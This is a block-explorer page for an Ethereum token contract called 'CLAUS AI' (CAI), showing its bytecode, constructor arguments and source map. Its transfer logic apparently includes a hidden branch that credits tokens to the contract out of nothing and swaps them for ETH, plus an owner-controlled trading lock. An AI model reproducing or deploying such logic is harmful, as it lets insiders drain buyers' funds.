00000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000008434c41555320414900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034341490000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c806395d89b4111610095578063d733840f11610064578063d733840f146102f3578063dd62ed3e14610309578063e5fe61fb1461034f578063f275f64b14610383578063f2fde38b146103a357600080fd5b806395d89b411461026b5780639abcdac514610280578063a9059cbb146102b4578063cfce2479146102d457600080fd5b80632a24bebf116100dc5780632a24bebf146101b3578063313ce567146101d457806370a08231146101ec578063715018a6146102225780638da5cb5b1461023957600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e6103c3565b60405161013b9190610ff8565b60405180910390f35b34801561015057600080fd5b5061016461015f366004611062565b610455565b604051901515815260200161013b565b34801561018057600080fd5b506005545b60405190815260200161013b565b34801561019f57600080fd5b506101646101ae36600461108e565b610469565b3480156101bf57600080fd5b50600e54610164906301000000900460ff1681565b3480156101e057600080fd5b5060045460ff16610185565b3480156101f857600080fd5b506101856102073660046110cf565b6001600160a01b031660009081526009602052604090205490565b34801561022e57600080fd5b506102376104b9565b005b34801561024557600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161013b565b34801561027757600080fd5b5061012e6104f8565b34801561028c57600080fd5b506102537f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e00481565b3480156102c057600080fd5b506101646102cf366004611062565b610507565b3480156102e057600080fd5b50600e5461016490610100900460ff1681565b3480156102ff57600080fd5b5061018560035481565b34801561031557600080fd5b506101856103243660046110ec565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561035b57600080fd5b506102537f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561038f57600080fd5b5061023761039e366004611125565b61051d565b3480156103af57600080fd5b506102376103be3660046110cf565b61055a565b6060600280546103d290611147565b80601f01602080910402602001604051908101604052809291908181526020018280546103fe90611147565b801561044b5780601f106104205761010080835404028352916020019161044b565b820191906000526020600020905b81548152906001019060200180831161042e57829003601f168201915b5050505050905090565b60006104623384846105f5565b9392505050565b60006104768484846106d5565b6001600160a01b0384166000908152600d60209081526040808320338085529252909120546104b19186916104ac908690611197565b6105f5565b949350505050565b6000546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e3906111ae565b60405180910390fd5b6104f66000610cca565b565b6060600180546103d290611147565b60006105143384846106d5565b50600192915050565b6000546001600160a01b031633146105475760405162461bcd60e51b81526004016104e3906111ae565b600e805460ff1916911515919091179055565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016104e3906111ae565b6001600160a01b0381166105e95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6105f281610cca565b50565b60006001600160a01b0384161580159061061757506001600160a01b03831615155b61066f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e3565b6001600160a01b038481166000818152600d602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b3060009081526009602052604081205490506000836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161072e91815260200190565b60405180910390a3600e5460ff166107c3576000546001600160a01b038681169116146107c35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104e3565b600e54610100900460ff1680156107db575060065482115b80156107f05750600e5462010000900460ff16155b801561082e57507f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e0046001600160a01b0316856001600160a01b031614155b1561085e57600e805462ff000019166201000017905561084d82610d1a565b600e805462ff000019169055610a7b565b6006546001600160a01b0386166000908152600c60205260409020541180156108a057506006546001600160a01b0385166000908152600c6020526040902054115b156108de5750306000908152600960205260408120805484928392916108c79084906111e3565b909155506108d790508385610d53565b5050505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316846001600160a01b03161415801561093757506001600160a01b0385166000908152600c602052604090205415155b8015610944575060065483115b801561098257507f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e0046001600160a01b0316846001600160a01b031614155b156109a65750506001600160a01b039091166000908152600c602052604090205550565b600e5462010000900460ff161580156109d657506001600160a01b0385166000908152600b602052604090205415155b8015610a1457507f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e0046001600160a01b0316856001600160a01b031614155b8015610a3657506001600160a01b0385166000908152600c6020526040902054155b15610a7b576006546001600160a01b0386166000908152600c6020526040902054610a619190611197565b6001600160a01b0386166000908152600b60205260409020555b6001600160a01b037f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e00481166000908152600a6020908152604080832054909316808352600b909152918120549003610aea576006546001600160a01b0382166000908152600b60205260409020555b7f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e0046001600160a01b039081166000908152600a6020526040902080546001600160a01b03191691871691909117905560035415801590610b6057506001600160a01b0386166000908152600c6020526040902054155b8015610b755750600e5462010000900460ff16155b8015610b9757506001600160a01b0385166000908152600c6020526040902054155b15610c1957606460035485610bac91906111fb565b610bb6919061121a565b9150610bc28285611197565b6001600160a01b038716600090815260096020526040812080549296508492909190610bef908490611197565b90915550503060009081526009602052604081208054849290610c139084906111e3565b90915550505b6001600160a01b03861660009081526009602052604081208054869290610c41908490611197565b90915550506001600160a01b03851660009081526009602052604081208054869290610c6e9084906111e3565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610cba91815260200190565b60405180910390a3505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610d2760028361121a565b905047610d348230610d53565b6000610d408247611197565b9050610d4d838230610f15565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d8857610d8861123c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2a9190611252565b81600181518110610e3d57610e3d61123c565b60200260200101906001600160a01b031690816001600160a01b031681525050610e88307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105f5565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790610ede90869060009086908890429060040161126f565b600060405180830381600087803b158015610ef857600080fd5b505af1158015610f0c573d6000803e3d6000fd5b50505050505050565b610f40307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105f5565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063f305d71990849060c40160606040518083038185885af1158015610fcb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ff091906112e0565b505050505050565b600060208083528351808285015260005b8181101561102557858101830151858201604001528201611009565b81811115611037576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105f257600080fd5b6000806040838503121561107557600080fd5b82356110808161104d565b946020939093013593505050565b6000806000606084860312156110a357600080fd5b83356110ae8161104d565b925060208401356110be8161104d565b929592945050506040919091013590565b6000602082840312156110e157600080fd5b81356104628161104d565b600080604083850312156110ff57600080fd5b823561110a8161104d565b9150602083013561111a8161104d565b809150509250929050565b60006020828403121561113757600080fd5b8135801515811461046257600080fd5b600181811c9082168061115b57607f821691505b60208210810361117b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156111a9576111a9611181565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156111f6576111f6611181565b500190565b600081600019048311821515161561121557611215611181565b500290565b60008261123757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561126457600080fd5b81516104628161104d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112bf5784516001600160a01b03168352938301939183019160010161129a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156112f557600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212204e84897a7b10610cf1b6a181e20500294266d468764dfa2e8f6e996f16f40adb64736f6c634300080d0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000008434c41555320414900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034341490000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): CLAUS AI
Arg [1] : Symbol (string): CAI
Arg [2] : V2IDEXCompile (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 434c415553204149000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 4341490000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

9201:6329:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10782:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11308:137;;;;;;;;;;-1:-1:-1;11308:137:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;11308:137:0;1072:187:1;10871:86:0;;;;;;;;;;-1:-1:-1;10942:7:0;;10871:86;;;1410:25:1;;;1398:2;1383:18;10871:86:0;1264:177:1;11809:279:0;;;;;;;;;;-1:-1:-1;11809:279:0;;;;;:::i;:::-;;:::i;9979:42::-;;;;;;;;;;-1:-1:-1;9979:42:0;;;;;;;;;;;10963:85;;;;;;;;;;-1:-1:-1;11031:9:0;;;;10963:85;;11194:108;;;;;;;;;;-1:-1:-1;11194:108:0;;;;;:::i;:::-;-1:-1:-1;;;;;11278:16:0;11251:7;11278:16;;;:7;:16;;;;;;;11194:108;8179:94;;;;;;;;;;;;;:::i;:::-;;7969:82;;;;;;;;;;-1:-1:-1;8015:7:0;8042:6;-1:-1:-1;;;;;8042:6:0;7969:82;;;-1:-1:-1;;;;;2323:32:1;;;2305:51;;2293:2;2278:18;7969:82:0;2159:203:1;10689:87:0;;;;;;;;;;;;;:::i;10030:47::-;;;;;;;;;;;;;;;12094:164;;;;;;;;;;-1:-1:-1;12094:164:0;;;;;:::i;:::-;;:::i;9923:21::-;;;;;;;;;;-1:-1:-1;9923:21:0;;;;;;;;;;;9303:26;;;;;;;;;;;;;;;;11054:134;;;;;;;;;;-1:-1:-1;11054:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;11153:18:0;;;11126:7;11153:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11054:134;10084:51;;;;;;;;;;;;;;;15024:104;;;;;;;;;;-1:-1:-1;15024:104:0;;;;;:::i;:::-;;:::i;8279:187::-;;;;;;;;;;-1:-1:-1;8279:187:0;;;;;:::i;:::-;;:::i;10782:83::-;10819:13;10852:5;10845:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10782:83;:::o;11308:137::-;11376:4;11400:37;11409:10;11421:7;11430:6;11400:8;:37::i;:::-;11393:44;11308:137;-1:-1:-1;;;11308:137:0:o;11809:279::-;11934:4;11951:41;11966:6;11974:9;11985:6;11951:14;:41::i;:::-;-1:-1:-1;;;;;12039:19:0;;;;;;:11;:19;;;;;;;;12027:10;12039:31;;;;;;;;;12010:70;;12019:6;;12039:40;;12073:6;;12039:40;:::i;:::-;12010:8;:70::i;:::-;12003:77;11809:279;-1:-1:-1;;;;11809:279:0:o;8179:94::-;8015:7;8042:6;-1:-1:-1;;;;;8042:6:0;1988:10;8098:23;8090:68;;;;-1:-1:-1;;;8090:68:0;;;;;;;:::i;:::-;;;;;;;;;8244:21:::1;8262:1;8244:9;:21::i;:::-;8179:94::o:0;10689:87::-;10728:13;10761:7;10754:14;;;;;:::i;12094:164::-;12166:4;12183:45;12198:10;12210:9;12221:6;12183:14;:45::i;:::-;-1:-1:-1;12246:4:0;12094:164;;;;:::o;15024:104::-;8015:7;8042:6;-1:-1:-1;;;;;8042:6:0;1988:10;8098:23;8090:68;;;;-1:-1:-1;;;8090:68:0;;;;;;;:::i;:::-;15094:11:::1;:26:::0;;-1:-1:-1;;15094:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15024:104::o;8279:187::-;8015:7;8042:6;-1:-1:-1;;;;;8042:6:0;1988:10;8098:23;8090:68;;;;-1:-1:-1;;;8090:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8368:22:0;::::1;8360:73;;;::::0;-1:-1:-1;;;8360:73:0;;4477:2:1;8360:73:0::1;::::0;::::1;4459:21:1::0;4516:2;4496:18;;;4489:30;4555:34;4535:18;;;4528:62;-1:-1:-1;;;4606:18:1;;;4599:36;4652:19;;8360:73:0::1;4275:402:1::0;8360:73:0::1;8444:19;8454:8;8444:9;:19::i;:::-;8279:187:::0;:::o;11451:352::-;11568:4;-1:-1:-1;;;;;11593:19:0;;;;;;:44;;-1:-1:-1;;;;;;11616:21:0;;;;11593:44;11585:93;;;;-1:-1:-1;;;11585:93:0;;4884:2:1;11585:93:0;;;4866:21:1;4923:2;4903:18;;;4896:30;4962:34;4942:18;;;4935:62;-1:-1:-1;;;5013:18:1;;;5006:34;5057:19;;11585:93:0;4682:400:1;11585:93:0;-1:-1:-1;;;;;11689:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11741:32;;1410:25:1;;;11741:32:0;;1383:18:1;11741:32:0;;;;;;;-1:-1:-1;11791:4:0;11451:352;;;;;:::o;12264:2073::-;12412:4;12372:19;11278:16;;;:7;:16;;;;;;12372:46;;12420:24;12481:9;-1:-1:-1;;;;;12460:47:0;12469:10;-1:-1:-1;;;;;12460:47:0;;12492:14;12460:47;;;;1410:25:1;;1398:2;1383:18;;1264:177;12460:47:0;;;;;;;;12531:11;;;;12526:138;;8015:7;8042:6;-1:-1:-1;;;;;12554:21:0;;;8042:6;;12554:21;12546:115;;;;-1:-1:-1;;;12546:115:0;;5289:2:1;12546:115:0;;;5271:21:1;5328:2;5308:18;;;5301:30;5367:34;5347:18;;;5340:62;5438:33;5418:18;;;5411:61;5489:19;;12546:115:0;5087:427:1;12546:115:0;12680:9;;;;;;;:36;;;;;12707:9;;12693:11;:23;12680:36;:49;;;;-1:-1:-1;12721:8:0;;;;;;;12720:9;12680:49;:93;;;;;12757:16;-1:-1:-1;;;;;12733:40:0;:10;-1:-1:-1;;;;;12733:40:0;;;12680:93;12676:925;;;12777:8;:15;;-1:-1:-1;;12777:15:0;;;;;12794:25;12807:11;12794:12;:25::i;:::-;12834:8;:16;;-1:-1:-1;;12834:16:0;;;12676:925;;;12899:9;;-1:-1:-1;;;;;12872:24:0;;;;;;:12;:24;;;;;;:36;:85;;;;-1:-1:-1;12948:9:0;;-1:-1:-1;;;;;12912:23:0;;;;;;:12;:23;;;;;;:45;12872:85;12868:733;;;-1:-1:-1;13025:4:0;13009:22;;;;:7;:22;;;;;:42;;12980:14;;;;13009:22;:42;;12980:14;;13009:42;:::i;:::-;;;;-1:-1:-1;13053:43:0;;-1:-1:-1;13070:14:0;13086:9;13053:16;:43::i;:::-;13111:7;;12264:2073;;;:::o;12868:733::-;13162:14;-1:-1:-1;;;;;13141:36:0;:9;-1:-1:-1;;;;;13141:36:0;;;:78;;;;-1:-1:-1;;;;;;13181:34:0;;13218:1;13181:34;;;:12;:34;;;;;;:38;;13141:78;:108;;;;;13240:9;;13223:14;:26;13141:108;:151;;;;;13276:16;-1:-1:-1;;;;;13253:39:0;:9;-1:-1:-1;;;;;13253:39:0;;;13141:151;13137:464;;;-1:-1:-1;;;;;;;13309:23:0;;;;;;;:12;:23;;;;;:40;-1:-1:-1;12264:2073:0:o;13137:464::-;13380:8;;;;;;;13379:9;:39;;;;-1:-1:-1;;;;;;13392:22:0;;13417:1;13392:22;;;:10;:22;;;;;;:26;;13379:39;:83;;;;;13446:16;-1:-1:-1;;;;;13432:30:0;:10;-1:-1:-1;;;;;13432:30:0;;;13379:83;:116;;;;-1:-1:-1;;;;;;13466:24:0;;;;;;:12;:24;;;;;;:29;13379:116;13375:226;;;13580:9;;-1:-1:-1;;;;;13553:24:0;;;;;;:12;:24;;;;;;:36;;13580:9;13553:36;:::i;:::-;-1:-1:-1;;;;;13512:22:0;;;;;;:10;:22;;;;;:77;13375:226;-1:-1:-1;;;;;13647:16:0;13631:33;;13611:16;13631:33;;;:15;:33;;;;;;;;;;;;13670:21;;;:10;:21;;;;;;;:26;;13666:75;;13732:9;;-1:-1:-1;;;;;13708:21:0;;;;;;:10;:21;;;;;:33;13666:75;13759:16;-1:-1:-1;;;;;13743:33:0;;;;;;;:15;:33;;;;;:55;;-1:-1:-1;;;;;;13743:55:0;;;;;;;;;;13804:7;;:21;;;;:54;;-1:-1:-1;;;;;;13829:24:0;;;;;;:12;:24;;;;;;:29;13804:54;:67;;;;-1:-1:-1;13863:8:0;;;;;;;13862:9;13804:67;:109;;;;-1:-1:-1;;;;;;13885:23:0;;;;;;:12;:23;;;;;;:28;13804:109;13800:341;;;13975:3;13964:7;;13947:14;:24;;;;:::i;:::-;13946:32;;;;:::i;:::-;13917:61;-1:-1:-1;13993:34:0;13917:61;13993:34;;:::i;:::-;-1:-1:-1;;;;;14042:19:0;;;;;;:7;:19;;;;;:39;;13993:34;;-1:-1:-1;14065:16:0;;14042:19;;;:39;;14065:16;;14042:39;:::i;:::-;;;;-1:-1:-1;;14112:4:0;14096:22;;;;:7;:22;;;;;:42;;14122:16;;14096:22;:42;;14122:16;;14096:42;:::i;:::-;;;;-1:-1:-1;;13800:341:0;-1:-1:-1;;;;;14151:19:0;;;;;;:7;:19;;;;;:47;;14184:14;;14151:19;:47;;14184:14;;14151:47;:::i;:::-;;;;-1:-1:-1;;;;;;;14209:18:0;;;;;;:7;:18;;;;;:46;;14241:14;;14209:18;:46;;14241:14;;14209:46;:::i;:::-;;;;;;;;14293:9;-1:-1:-1;;;;;14262:67:0;14271:10;-1:-1:-1;;;;;14262:67:0;;14314:14;14262:67;;;;1410:25:1;;1398:2;1383:18;;1264:177;14262:67:0;;;;;;;;12361:1976;;;12264:2073;;;:::o;8472:194::-;8534:16;8563:6;;-1:-1:-1;;;;;8580:27:0;;;-1:-1:-1;;;;;;8580:27:0;;;;;;8623:40;;8563:6;;;;;;;8623:40;;8534:16;8623:40;8523:143;8472:194;:::o;14687:327::-;14744:12;14759:10;14768:1;14759:6;:10;:::i;:::-;14744:25;-1:-1:-1;14807:21:0;14839:37;14744:25;14870:4;14839:16;:37::i;:::-;14887:22;14912:40;14936:16;14912:21;:40;:::i;:::-;14887:65;;14963:43;14970:4;14976:14;15000:4;14963:6;:43::i;:::-;14733:281;;;14687:327;:::o;15134:393::-;15236:16;;;15250:1;15236:16;;;;;;;;15212:21;;15236:16;;;;;;;;;;-1:-1:-1;15236:16:0;15212:40;;15281:4;15263;15268:1;15263:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;15263:23:0;;;-1:-1:-1;;;;;15263:23:0;;;;;15307:14;-1:-1:-1;;;;;15307:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15297:4;15302:1;15297:7;;;;;;;;:::i;:::-;;;;;;:31;-1:-1:-1;;;;;15297:31:0;;;-1:-1:-1;;;;;15297:31:0;;;;;15339:61;15356:4;15371:14;15388:11;15339:8;:61::i;:::-;-1:-1:-1;15411:108:0;;-1:-1:-1;;;15411:108:0;;-1:-1:-1;;;;;15411:14:0;:65;;;;:108;;15477:11;;15490:1;;15493:4;;15499:2;;15503:15;;15411:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15201:326;15134:393;;:::o;14380:301::-;14500:60;14517:4;14532:14;14549:10;14500:8;:60::i;:::-;-1:-1:-1;14571:102:0;;-1:-1:-1;;;14571:102:0;;14628:4;14571:102;;;7893:34:1;7943:18;;;7936:34;;;14647:1:0;7986:18:1;;;7979:34;;;8029:18;;;8022:34;-1:-1:-1;;;;;8093:15:1;;;8072:19;;;8065:44;14657:15:0;8125:19:1;;;8118:35;14571:14:0;:30;;;;14609:9;;7827:19:1;;14571:102:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;14380:301;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;1907:247::-;1966:6;2019:2;2007:9;1998:7;1994:23;1990:32;1987:52;;;2035:1;2032;2025:12;1987:52;2074:9;2061:23;2093:31;2118:5;2093:31;:::i;2367:388::-;2435:6;2443;2496:2;2484:9;2475:7;2471:23;2467:32;2464:52;;;2512:1;2509;2502:12;2464:52;2551:9;2538:23;2570:31;2595:5;2570:31;:::i;:::-;2620:5;-1:-1:-1;2677:2:1;2662:18;;2649:32;2690:33;2649:32;2690:33;:::i;:::-;2742:7;2732:17;;;2367:388;;;;;:::o;2989:273::-;3045:6;3098:2;3086:9;3077:7;3073:23;3069:32;3066:52;;;3114:1;3111;3104:12;3066:52;3153:9;3140:23;3206:5;3199:13;3192:21;3185:5;3182:32;3172:60;;3228:1;3225;3218:12;3267:380;3346:1;3342:12;;;;3389;;;3410:61;;3464:4;3456:6;3452:17;3442:27;;3410:61;3517:2;3509:6;3506:14;3486:18;3483:38;3480:161;;3563:10;3558:3;3554:20;3551:1;3544:31;3598:4;3595:1;3588:15;3626:4;3623:1;3616:15;3480:161;;3267:380;;;:::o;3652:127::-;3713:10;3708:3;3704:20;3701:1;3694:31;3744:4;3741:1;3734:15;3768:4;3765:1;3758:15;3784:125;3824:4;3852:1;3849;3846:8;3843:34;;;3857:18;;:::i;:::-;-1:-1:-1;3894:9:1;;3784:125::o;3914:356::-;4116:2;4098:21;;;4135:18;;;4128:30;4194:34;4189:2;4174:18;;4167:62;4261:2;4246:18;;3914:356::o;5519:128::-;5559:3;5590:1;5586:6;5583:1;5580:13;5577:39;;;5596:18;;:::i;:::-;-1:-1:-1;5632:9:1;;5519:128::o;5652:168::-;5692:7;5758:1;5754;5750:6;5746:14;5743:1;5740:21;5735:1;5728:9;5721:17;5717:45;5714:71;;;5765:18;;:::i;:::-;-1:-1:-1;5805:9:1;;5652:168::o;5825:217::-;5865:1;5891;5881:132;;5935:10;5930:3;5926:20;5923:1;5916:31;5970:4;5967:1;5960:15;5998:4;5995:1;5988:15;5881:132;-1:-1:-1;6027:9:1;;5825:217::o;6179:127::-;6240:10;6235:3;6231:20;6228:1;6221:31;6271:4;6268:1;6261:15;6295:4;6292:1;6285:15;6311:251;6381:6;6434:2;6422:9;6413:7;6409:23;6405:32;6402:52;;;6450:1;6447;6440:12;6402:52;6482:9;6476:16;6501:31;6526:5;6501:31;:::i;6567:980::-;6829:4;6877:3;6866:9;6862:19;6908:6;6897:9;6890:25;6934:2;6972:6;6967:2;6956:9;6952:18;6945:34;7015:3;7010:2;6999:9;6995:18;6988:31;7039:6;7074;7068:13;7105:6;7097;7090:22;7143:3;7132:9;7128:19;7121:26;;7182:2;7174:6;7170:15;7156:29;;7203:1;7213:195;7227:6;7224:1;7221:13;7213:195;;;7292:13;;-1:-1:-1;;;;;7288:39:1;7276:52;;7383:15;;;;7348:12;;;;7324:1;7242:9;7213:195;;;-1:-1:-1;;;;;;;7464:32:1;;;;7459:2;7444:18;;7437:60;-1:-1:-1;;;7528:3:1;7513:19;7506:35;7425:3;6567:980;-1:-1:-1;;;6567:980:1:o;8164:306::-;8252:6;8260;8268;8321:2;8309:9;8300:7;8296:23;8292:32;8289:52;;;8337:1;8334;8327:12;8289:52;8366:9;8360:16;8350:26;;8416:2;8405:9;8401:18;8395:25;8385:35;;8460:2;8449:9;8445:18;8439:25;8429:35;;8164:306;;;;;:::o

Swarm Source

ipfs://4e84897a7b10610cf1b6a181e20500294266d468764dfa2e8f6e996f16f40adb

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.